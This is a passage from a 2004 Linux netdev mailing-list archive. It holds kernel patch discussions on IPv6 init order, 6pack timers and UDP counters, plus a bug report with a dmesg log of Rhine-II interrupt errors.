SMTP id i1KHfUKO016005 for ; Fri, 20 Feb 2004 09:41:30 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1KHfNb10157; Fri, 20 Feb 2004 12:41:23 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1KHfMi19915; Fri, 20 Feb 2004 12:41:22 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1KHfIkC027067; Fri, 20 Feb 2004 12:41:18 -0500 Date: Fri, 20 Feb 2004 09:41:21 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: acme@conectiva.com.br, netdev@oss.sgi.com Subject: Re: [PATCH] wandev_show single_open confusion Message-Id: <20040220094121.7159df9e.davem@redhat.com> In-Reply-To: <20040219112705.05416945@dell_ss3.pdx.osdl.net> References: <20040219112705.05416945@dell_ss3.pdx.osdl.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3445 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 19 Feb 2004 11:27:05 -0800 Stephen Hemminger wrote: > Fix single_open interface confusion in wanrouter. The argument passed > to single_open gets passed through via seq->private; not the void * argument > as assumed by this code. Obviously correct, applied. From davem@redhat.com Fri Feb 20 09:46:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 09:46:22 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KHkIKO016394 for ; Fri, 20 Feb 2004 09:46:19 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1KHkEb12347; Fri, 20 Feb 2004 12:46:14 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1KHkDi21969; Fri, 20 Feb 2004 12:46:13 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1KHk9kC029892; Fri, 20 Feb 2004 12:46:09 -0500 Date: Fri, 20 Feb 2004 09:46:12 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: hibi665@oki.com, netdev@oss.sgi.com Subject: Re: UDP counter doesn't increase Message-Id: <20040220094612.026c62da.davem@redhat.com> In-Reply-To: <20040219.112557.102901782.yoshfuji@linux-ipv6.org> References: <20040219110035.2e1c15b4%hibi665@oki.com> <20040219.112557.102901782.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1KHkIKO016394 X-archive-position: 3446 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 19 Feb 2004 11:25:57 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > In article <20040219110035.2e1c15b4%hibi665@oki.com> (at Thu, 19 Feb 2004 11:00:35 +0900), Takashi Hibi says: > > > UdpInDatagram in /proc/net/snmp6 doen't increase when IPv6 multicast > > UDP packets are received. > > sock_queue_rcv_skb() is called directly in udpv6_mcast_deliver. I think that > > udpv6_queue_rcv_skb() should be called instead of sock_queue_rcv_skb() > > as IPv4. > > Okay, here's the patch. Applied, thanks everyone. From yoshfuji@linux-ipv6.org Fri Feb 20 10:14:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 10:14:11 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KIE4KO017074 for ; Fri, 20 Feb 2004 10:14:04 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 73C7D33CA5 for ; Sat, 21 Feb 2004 03:15:11 +0900 (JST) Resent-Date: Sat, 21 Feb 2004 03:15:11 +0900 (JST) Resent-Message-Id: <20040221.031511.30544604.yoshfuji@linux-ipv6.org> Resent-To: netdev@oss.sgi.com Resent-From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) From: Andrew Walrond To: linux-kernel@vger.kernel.org Subject: Linux-2.6.3 : [eth0: Too much work at interrupt, status=0x00000001.] Date: Fri, 20 Feb 2004 18:03:11 +0000 User-Agent: KMail/1.5.4 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402201803.12146.andrew@walrond.org> Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org X-archive-position: 3447 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev I'm getting loads of these messages in dmesg. This is a vanilla 2.6.3 kernel with ACPI disabled with acpi=off boot parameter. No preempt, APIC and IOAPIC enabled Its a single 2Ghz celeron with Via chipset and Rhine II ethernet. It is under no load at all. ssh only. dmesg is short and follows; Any knowledge apprieciated! Linux version 2.6.3 (linux@p15149774.pureserver.info) (gcc version 3.3.3) #1 Fri Feb 20 08:51:28 GMT 2004 BIOS-provided physical RAM map: BIOS-e820: 0000000000000000 - 00000000000a0000 (usable) BIOS-e820: 00000000000f0000 - 0000000000100000 (reserved) BIOS-e820: 0000000000100000 - 000000000f7f0000 (usable) BIOS-e820: 000000000f7f0000 - 000000000f7f3000 (ACPI NVS) BIOS-e820: 000000000f7f3000 - 000000000f800000 (ACPI data) BIOS-e820: 00000000fec00000 - 0000000100000000 (reserved) user-defined physical RAM map: user: 0000000000000000 - 00000000000a0000 (usable) user: 00000000000f0000 - 0000000000100000 (reserved) user: 0000000000100000 - 000000000f7f0000 (usable) 247MB LOWMEM available. found SMP MP-table at 000f4ed0 hm, page 000f4000 reserved twice. hm, page 000f5000 reserved twice. hm, page 000f0000 reserved twice. hm, page 000f1000 reserved twice. On node 0 totalpages: 63472 DMA zone: 4096 pages, LIFO batch:1 Normal zone: 59376 pages, LIFO batch:14 HighMem zone: 0 pages, LIFO batch:1 DMI 2.2 present. Intel MultiProcessor Specification v1.4 Virtual Wire compatibility mode. OEM ID: OEM00000 Product ID: PROD00000000 APIC at: 0xFEE00000 Processor #0 15:2 APIC version 17 I/O APIC #2 Version 17 at 0xFEC00000. Enabling APIC mode: Flat. Using 1 I/O APICs Processors: 1 Built 1 zonelists Kernel command line: root=/dev/hda2 acpi=off mem=253888K Initializing CPU#0 PID hash table entries: 1024 (order 10: 8192 bytes) Detected 2003.764 MHz processor. Using tsc for high-res timesource Console: colour VGA+ 80x25 Memory: 248132k/253888k available (1554k kernel code, 5016k reserved, 483k data, 312k init, 0k highmem) Checking if this processor honours the WP bit even in supervisor mode... Ok. Calibrating delay loop... 3940.35 BogoMIPS Dentry cache hash table entries: 32768 (order: 5, 131072 bytes) Inode-cache hash table entries: 16384 (order: 4, 65536 bytes) Mount-cache hash table entries: 512 (order: 0, 4096 bytes) CPU: After generic identify, caps: bfebfbff 00000000 00000000 00000000 CPU: After vendor identify, caps: bfebfbff 00000000 00000000 00000000 CPU: Trace cache: 12K uops, L1 D cache: 8K CPU: L2 cache: 128K CPU: After all inits, caps: bfebfbff 00000000 00000000 00000080 CPU: Intel(R) Celeron(R) CPU 2.00GHz stepping 09 Enabling fast FPU save and restore... done. Enabling unmasked SIMD FPU exception support... done. Checking 'hlt' instruction... OK. POSIX conformance testing by UNIFIX enabled ExtINT on CPU#0 ESR value before enabling vector: 00000000 ESR value after enabling vector: 00000000 ENABLING IO-APIC IRQs Setting 2 in the phys_id_present_map ...changing IO-APIC physical APIC ID to 2 ... ok. init IO_APIC IRQs IO-APIC (apicid-pin) 2-0, 2-17, 2-18, 2-19, 2-20, 2-21, 2-22 not connected. ..TIMER: vector=0x31 pin1=2 pin2=0 number of MP IRQ sources: 18. number of IO-APIC #2 registers: 24. testing the IO APIC....................... IO APIC #2...... .... register #00: 02000000 ....... : physical APIC id: 02 ....... : Delivery Type: 0 ....... : LTS : 0 .... register #01: 00178003 ....... : max redirection entries: 0017 ....... : PRQ implemented: 1 ....... : IO APIC version: 0003 .... IRQ redirection table: NR Log Phy Mask Trig IRR Pol Stat Dest Deli Vect: 00 000 00 1 0 0 0 0 0 0 00 01 001 01 0 0 0 0 0 1 1 39 02 001 01 0 0 0 0 0 1 1 31 03 001 01 0 0 0 0 0 1 1 41 04 001 01 0 0 0 0 0 1 1 49 05 001 01 0 0 0 0 0 1 1 51 06 001 01 0 0 0 0 0 1 1 59 07 001 01 0 0 0 0 0 1 1 61 08 001 01 0 0 0 0 0 1 1 69 09 001 01 0 0 0 0 0 1 1 71 0a 001 01 0 0 0 0 0 1 1 79 0b 001 01 0 0 0 0 0 1 1 81 0c 001 01 0 0 0 0 0 1 1 89 0d 001 01 0 0 0 0 0 1 1 91 0e 001 01 0 0 0 0 0 1 1 99 0f 001 01 1 1 0 1 0 1 1 A1 10 001 01 1 1 0 1 0 1 1 A9 11 000 00 1 0 0 0 0 0 0 00 12 000 00 1 0 0 0 0 0 0 00 13 000 00 1 0 0 0 0 0 0 00 14 000 00 1 0 0 0 0 0 0 00 15 000 00 1 0 0 0 0 0 0 00 16 000 00 1 0 0 0 0 0 0 00 17 001 01 1 1 0 1 0 1 1 B1 IRQ to pin mappings: IRQ0 -> 0:2 IRQ1 -> 0:1 IRQ3 -> 0:3 IRQ4 -> 0:4 IRQ5 -> 0:5 IRQ6 -> 0:6 IRQ7 -> 0:7 IRQ8 -> 0:8 IRQ9 -> 0:9 IRQ10 -> 0:10 IRQ11 -> 0:11 IRQ12 -> 0:12 IRQ13 -> 0:13 IRQ14 -> 0:14 IRQ16 -> 0:16 IRQ23 -> 0:23 IRQ31 -> 0:15 .................................... done. Using local APIC timer interrupts. calibrating APIC timer ... ..... CPU clock speed is 2003.0089 MHz. ..... host bus clock speed is 100.0154 MHz. NET: Registered protocol family 16 PCI: PCI BIOS revision 2.10 entry at 0xfb300, last bus=1 PCI: Using configuration type 1 mtrr: v2.0 (20020519) ACPI: Subsystem revision 20040116 ACPI: Interpreter disabled. Linux Plug and Play Support v0.97 (c) Adam Belay ACPI: ACPI tables contain no PCI IRQ routing entries PCI: Invalid ACPI-PCI IRQ routing table PCI: Probing PCI hardware PCI: Probing PCI hardware (bus 00) PCI: Using IRQ router VIA [1106/3177] at 0000:00:11.0 PCI->APIC IRQ transform: (B0,I17,P0) -> 31 PCI->APIC IRQ transform: (B0,I18,P0) -> 23 PCI->APIC IRQ transform: (B1,I0,P0) -> 16 ikconfig 0.7 with /proc/config* PCI: Via IRQ fixup for 0000:00:10.1, from 255 to 0 PCI: Via IRQ fixup for 0000:00:10.2, from 255 to 0 pty: 256 Unix98 ptys configured Real Time Clock Driver v1.12 loop: loaded (max 8 devices) via-rhine.c:v1.10-LK1.1.19-2.5 July-12-2003 Written by Donald Becker http://www.scyld.com/network/via-rhine.html eth0: VIA VT6102 Rhine-II at 0xe000, 00:40:63:c7:f6:8e, IRQ 23. eth0: MII PHY found at address 1, status 0x786d advertising 05e1 Link 41e1. Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2 ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx VP_IDE: IDE controller at PCI slot 0000:00:11.1 VP_IDE: chipset revision 6 VP_IDE: not 100% native mode: will probe irqs later ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx VP_IDE: VIA vt8235 (rev 00) IDE UDMA133 controller on pci0000:00:11.1 ide0: BM-DMA at 0xdc00-0xdc07, BIOS settings: hda:DMA, hdb:pio hda: ST340014A, ATA DISK drive Using anticipatory io scheduler ide0 at 0x1f0-0x1f7,0x3f6 on irq 14 hda: max request size: 1024KiB hda: 78165360 sectors (40020 MB) w/2048KiB Cache, CHS=16383/255/63, UDMA(100) hda: hda1 hda2 hda3 hda4 mice: PS/2 mouse device common for all mice serio: i8042 AUX port at 0x60,0x64 irq 12 serio: i8042 KBD port at 0x60,0x64 irq 1 NET: Registered protocol family 2 IP: routing cache hash table of 2048 buckets, 16Kbytes TCP: Hash tables configured (established 16384 bind 32768) NET: Registered protocol family 1 NET: Registered protocol family 17 kjournald starting. Commit interval 5 seconds EXT3-fs: mounted filesystem with ordered data mode. VFS: Mounted root (ext3 filesystem) readonly. Freeing unused kernel memory: 312k freed EXT3 FS on hda2, internal journal found reiserfs format "3.6" with standard journal Reiserfs journal params: device hda4, size 8192, journal first block 18, max trans len 1024, max batch 900, max commit age 30, max trans age 30 reiserfs: checking transaction log (hda4) for (hda4) Using r5 hash to sort names Adding 987988k swap on /dev/hda3. Priority:-1 extents:1 eth0: Setting full-duplex based on MII #1 link partner capability of 41e1. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. eth0: Too much work at interrupt, status=0x00000001. - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ From vinay.nallamothu@gsecone.com Fri Feb 20 10:15:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 10:15:46 -0800 (PST) Received: from gateway.gsecone.com ([61.95.227.64]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KIFeKO017280 for ; Fri, 20 Feb 2004 10:15:41 -0800 Received: from gsecone.com (mailgate.gsec1testlab.co.uk [80.176.186.66]) by gateway.gsecone.com (8.12.8/8.12.8) with ESMTP id i1KIGOAK018195; Fri, 20 Feb 2004 23:46:26 +0530 Message-ID: <40364EC2.7000900@gsecone.com> Date: Fri, 20 Feb 2004 18:15:30 +0000 From: Vinay K Nallamothu User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com CC: linux-kernel@vger.kernel.org Subject: [PATCH 2.6.3][NET/HAMRADIO] 6pack.c: timer code cleanups Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3448 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vinay.nallamothu@gsecone.com Precedence: bulk X-list: netdev Hi, This patch replaces sequence of del_timer, add_timer with mod_timier. Untested. Thanks Vinay 6pack.c | 38 ++++++++++++-------------------------- 1 files changed, 12 insertions(+), 26 deletions(-) diff -urN linux-2.6.3-rc1-bk1/drivers/net/hamradio/6pack.c linux-2.6.3-rc1-bk1-nvk/drivers/net/hamradio/6pack.c --- linux-2.6.3-rc1-bk1/drivers/net/hamradio/6pack.c 2004-02-09 19:22:40.000000000 +0000 +++ linux-2.6.3-rc1-bk1-nvk/drivers/net/hamradio/6pack.c 2004-02-09 20:11:47.000000000 +0000 @@ -140,7 +140,7 @@ MODULE_PARM(sixpack_maxdev, "i"); MODULE_PARM_DESC(sixpack_maxdev, "number of 6PACK devices"); -static void sp_start_tx_timer(struct sixpack *); +static inline void sp_start_tx_timer(struct sixpack *); static void sp_xmit_on_air(unsigned long); static void resync_tnc(unsigned long); static void sixpack_decode(struct sixpack *, unsigned char[], int); @@ -481,7 +481,12 @@ netif_start_queue(dev); init_timer(&sp->tx_t); + sp->tx_t.data = (unsigned long) sp; + sp->tx_t.function = sp_xmit_on_air; + init_timer(&sp->resync_t); + sp->resync_t.data = (unsigned long) sp; + sp->resync_t.function = resync_tnc; return 0; } @@ -800,15 +805,10 @@ /* ----> 6pack timer interrupt handler and friends. <---- */ -static void sp_start_tx_timer(struct sixpack *sp) +static inline void sp_start_tx_timer(struct sixpack *sp) { int when = sp->slottime; - - del_timer(&sp->tx_t); - sp->tx_t.data = (unsigned long) sp; - sp->tx_t.function = sp_xmit_on_air; - sp->tx_t.expires = jiffies + ((when+1)*HZ)/100; - add_timer(&sp->tx_t); + mod_timer(&sp->tx_t, jiffies + ((when+1)*HZ)/100); } @@ -880,12 +880,7 @@ sp->tty->driver->write(sp->tty, 0, &inbyte, 1); - del_timer(&sp->resync_t); - sp->resync_t.data = (unsigned long) sp; - sp->resync_t.function = resync_tnc; - sp->resync_t.expires = jiffies + SIXP_RESYNC_TIMEOUT; - add_timer(&sp->resync_t); - + mod_timer(&sp->resync_t, jiffies + SIXP_RESYNC_TIMEOUT); return 0; } @@ -937,13 +932,8 @@ /* if the state byte has been received, the TNC is present, so the resync timer can be reset. */ - if (sp->tnc_ok == 1) { - del_timer(&sp->resync_t); - sp->resync_t.data = (unsigned long) sp; - sp->resync_t.function = resync_tnc; - sp->resync_t.expires = jiffies + SIXP_INIT_RESYNC_TIMEOUT; - add_timer(&sp->resync_t); - } + if (sp->tnc_ok == 1) + mod_timer(&sp->resync_t, jiffies + SIXP_INIT_RESYNC_TIMEOUT); sp->status1 = cmd & SIXP_PRIO_DATA_MASK; } @@ -979,11 +969,7 @@ /* Start resync timer again -- the TNC might be still absent */ - del_timer(&sp->resync_t); - sp->resync_t.data = (unsigned long) sp; - sp->resync_t.function = resync_tnc; - sp->resync_t.expires = jiffies + SIXP_RESYNC_TIMEOUT; - add_timer(&sp->resync_t); + mod_timer(&sp->resync_t, jiffies + SIXP_RESYNC_TIMEOUT); } From yoshfuji@linux-ipv6.org Fri Feb 20 10:18:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 10:19:02 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KIIwKO017805 for ; Fri, 20 Feb 2004 10:18:58 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 72C6F33CA5; Sat, 21 Feb 2004 03:20:06 +0900 (JST) Date: Sat, 21 Feb 2004 03:20:06 +0900 (JST) Message-Id: <20040221.032006.68375681.yoshfuji@linux-ipv6.org> To: andrew@walrond.org, netdev@oss.sgi.com Cc: linux-kernel@vger.kernel.org Subject: Re: Linux-2.6.3 : [eth0: Too much work at interrupt, status=0x00000001.] From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <200402201803.12146.andrew@walrond.org> References: <200402201803.12146.andrew@walrond.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3449 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <200402201803.12146.andrew@walrond.org> (at Fri, 20 Feb 2004 18:03:11 +0000), Andrew Walrond says: > I'm getting loads of these messages in dmesg. > > This is a vanilla 2.6.3 kernel with ACPI disabled with acpi=off boot > parameter. No preempt, APIC and IOAPIC enabled > > Its a single 2Ghz celeron with Via chipset and Rhine II ethernet. It is under > no load at all. ssh only. > > dmesg is short and follows; Any knowledge apprieciated! : > eth0: Too much work at interrupt, status=0x00000001. I've got this several times, randomly, and I had to go to the console to reboot the machine. Well, sorry, I haven't tracked it down yet... Others? -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From dwmw2@infradead.org Fri Feb 20 11:01:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 11:01:45 -0800 (PST) Received: from pentafluge.infradead.org (pentafluge.infradead.org [213.86.99.235]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KJ1eKO019032 for ; Fri, 20 Feb 2004 11:01:41 -0800 Received: from [213.86.99.237] (helo=[172.16.18.64]) by pentafluge.infradead.org with asmtp (Exim 4.30 #5 (Red Hat Linux)) id 1AuFu6-0007Dg-8C; Fri, 20 Feb 2004 19:01:38 +0000 Subject: Re: Initialising net/ipv4/ before net/ipv6/ breaks IPv6 autoconf with nfsroot.... From: David Woodhouse To: "David S. Miller" Cc: netdev@oss.sgi.com In-Reply-To: <20040219222253.082458cf.davem@redhat.com> References: <1077201499.18703.381.camel@hades.cambridge.redhat.com> <20040219222253.082458cf.davem@redhat.com> Content-Type: text/plain Message-Id: <1077303696.427.570.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-8.dwmw2.2) Date: Fri, 20 Feb 2004 19:01:37 +0000 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-archive-position: 3450 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Thu, 2004-02-19 at 22:22 -0800, David S. Miller wrote: > If at some point we create some initialization dependency between ipv4 > and ipv6 (f.e. ipv6 init needs some ipv4 table setup) we will need to > tread carefully to keep this from breaking. True. For 2.6 in fact we can do it this way... ===== net/ipv4/ipconfig.c 1.35 vs edited ===== --- 1.35/net/ipv4/ipconfig.c Wed Oct 8 01:37:44 2003 +++ edited/net/ipv4/ipconfig.c Fri Feb 20 19:00:23 2004 @@ -1324,7 +1324,7 @@ return 0; } -module_init(ip_auto_config); +late_initcall(ip_auto_config); /* -- dwmw2 From dwmw2@infradead.org Fri Feb 20 11:03:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 11:03:04 -0800 (PST) Received: from pentafluge.infradead.org (pentafluge.infradead.org [213.86.99.235]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KJ2xKO019232 for ; Fri, 20 Feb 2004 11:03:00 -0800 Received: from [213.86.99.237] (helo=[172.16.18.64]) by pentafluge.infradead.org with asmtp (Exim 4.30 #5 (Red Hat Linux)) id 1AuFvO-0007Dx-53; Fri, 20 Feb 2004 19:02:58 +0000 Subject: Re: Initialising net/ipv4/ before net/ipv6/ breaks IPv6 autoconf with nfsroot.... From: David Woodhouse To: "David S. Miller" Cc: netdev@oss.sgi.com In-Reply-To: <20040219222253.082458cf.davem@redhat.com> References: <1077201499.18703.381.camel@hades.cambridge.redhat.com> <20040219222253.082458cf.davem@redhat.com> Content-Type: text/plain Message-Id: <1077303776.427.575.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-8.dwmw2.2) Date: Fri, 20 Feb 2004 19:02:57 +0000 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-archive-position: 3451 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Thu, 2004-02-19 at 22:22 -0800, David S. Miller wrote: > On Thu, 19 Feb 2004 14:38:20 +0000 > David Woodhouse wrote: > > > Putting IPv6 before IPv4 in net/Makefile fixes it, letting it IPv6 > > register its notifiers before the IPv4 ipconfig code brings up the > > interface. > > > > Objections? > > No objection. Send me a patch. For 2.4, which is the one I've actually tested... ===== net/Makefile 1.8 vs edited ===== --- 1.8/net/Makefile Fri Sep 19 12:07:29 2003 +++ edited/net/Makefile Fri Feb 20 19:02:04 2004 @@ -15,10 +15,10 @@ subdir-$(CONFIG_NET) += 802 sched netlink +subdir-$(CONFIG_IPV6) += ipv6 subdir-$(CONFIG_INET) += ipv4 subdir-$(CONFIG_NETFILTER) += ipv4/netfilter subdir-$(CONFIG_UNIX) += unix -subdir-$(CONFIG_IPV6) += ipv6 subdir-$(CONFIG_IP_SCTP) += sctp ifneq ($(CONFIG_IPV6),n) -- dwmw2 From davem@redhat.com Fri Feb 20 11:06:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 11:06:28 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KJ6OKO019779 for ; Fri, 20 Feb 2004 11:06:24 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1KJ6Mb11063; Fri, 20 Feb 2004 14:06:22 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1KJ6Mi21730; Fri, 20 Feb 2004 14:06:22 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1KJ6LkC016510; Fri, 20 Feb 2004 14:06:21 -0500 Date: Fri, 20 Feb 2004 11:06:21 -0800 From: "David S. Miller" To: "Art Haas" Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: PATCH: Add C99 initializers to ip_conntrack_standalone.c Message-Id: <20040220110621.2b6281e8.davem@redhat.com> In-Reply-To: <20040220190148.GA26386@artsapartment.org> References: <20040220190148.GA26386@artsapartment.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 